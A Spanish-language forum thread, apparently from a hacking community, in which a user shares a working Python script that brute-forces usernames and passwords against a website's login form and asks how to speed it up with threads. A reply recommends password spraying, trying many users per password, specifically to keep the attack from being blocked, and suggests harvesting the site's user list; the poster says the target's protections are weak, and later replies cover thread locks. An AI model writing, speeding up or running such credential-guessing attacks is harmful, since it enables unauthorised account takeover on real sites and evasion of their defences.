Buenas a todos.
Me he programado un script que me hace bruteforce de usuarios y contraseñas en una web x, el asunto es que mi script funciona a la perfeccion pero es algo lento. Me gustaria saber como implementarle threading para acelerar el proceso de bruteforce.
La parte del codigo que hace el brute es la siguiente:
#users y passwords son dos listas como se debe suponer
for i in range(len(users)):
post['user'] = users[i]
print '\nProbando usuario: %s' % users[i]
for x in range(len(passwords)):
post['pass'] = passwords[x]
r = requests.post('http://x.com' , data=post , headers=headers)
#Esta parte solo muestra en la terminal con la de las pass que se han probado y la password en si en que va
sys.stdout.write('\rPassword: %s %s/%s' % (passwords[x],passwords.index(passwords[x])+1,len(passwords)))
sys.stdout.flush()
if not r.content.find('Welcome') > -1:
continue
else:
print '\nUser:%s Password:%s' % (users[i],passwords[x])
break
De ante mano gracias a cualquier ayuda que me puedan brindar.
Hola @darkchoto (https://underc0de.org/foro/index.php?action=profile;u=11128)! Para hacerlo podés recurrir a la clase Thread del módulo threading (https://docs.python.org/2/library/threading.html).
Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :
passwords= []
users = []
for password in passwords:
for user in users:
try:
# resto del código
except Exception as e:
# manejo de errores
Saludos!
WhiZ
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Hola @darkchoto (https://underc0de.org/foro/index.php?action=profile;u=11128)! Para hacerlo podés recurrir a la clase Thread del módulo threading (https://docs.python.org/2/library/threading.html).
Una recomendación: hacé un ataque por contraseña en vez de hacerlo por usuario. Con eso evitás que bloqueen el ataque. Creá una lista de contraseñas comunes y obtené una lista de usuarios de la aplicación web a analizar (podrías hacer una app para eso tmb). Con las dos listas en mano, probá múltiples usuarios por contraseña. Sería algo así :
passwords= []
users = []
for password in passwords:
for user in users:
try:
# resto del código
except Exception as e:
# manejo de errores
Saludos!
WhiZ
Gracias por tu respuesta, entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.
Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.
Espero tu o alguien mas me pueda dar una luz con esto.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
entiendo tu sugerencia y es excelente idea, aunque en el sitio que uso mi bruteforcer no necesito hacerlo de esa forma porque sus medidas de seguridad contra bruteforcing de contraseñas a sus usuarios son muy pobres.
Más allá de la página que estés auditando en este momento, siempre te conviene hacer un código flexible. En todo caso, lo que yo haría es un script que pregunte cómo realizar el ataque: por usuario o por contraseña.
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Pasando al real motivo de mi post (la aplicacion de multi-threading) a mi script para acelerar el proceso, he leido y creo entender un mas o menos como funciona la clase mencionada pero no logro aplicarlo a mi script. He leido que lo mas recomendable en casos parecidos al mio es usar colas con el modulo Queue, aunque no comprendo bien como hacerlo funcionar con mi script y poder seguir usando la parte del contador de passwords.
En las aplicaciones que emplean varios hilos, si éstos necesitan acceder a un mismo recurso, lo ideal es bloquear el acceso al mismo mientras esté siendo utilizado. En tu caso, podés hacer esto con la clase Lock del módulo threading (https://docs.python.org/2/library/threading.html#lock-objects).
En Python para todos (http://www.ceibal.edu.uy/contenidos/areas_conocimiento/aportes/python_para_todos.pdf) de Raul González Duque, precisamente en la sección "Sincronización" del capítulo "Threads", podés encontrar una buena explicación.
Espero que te sirva!
Saludos!
WhiZ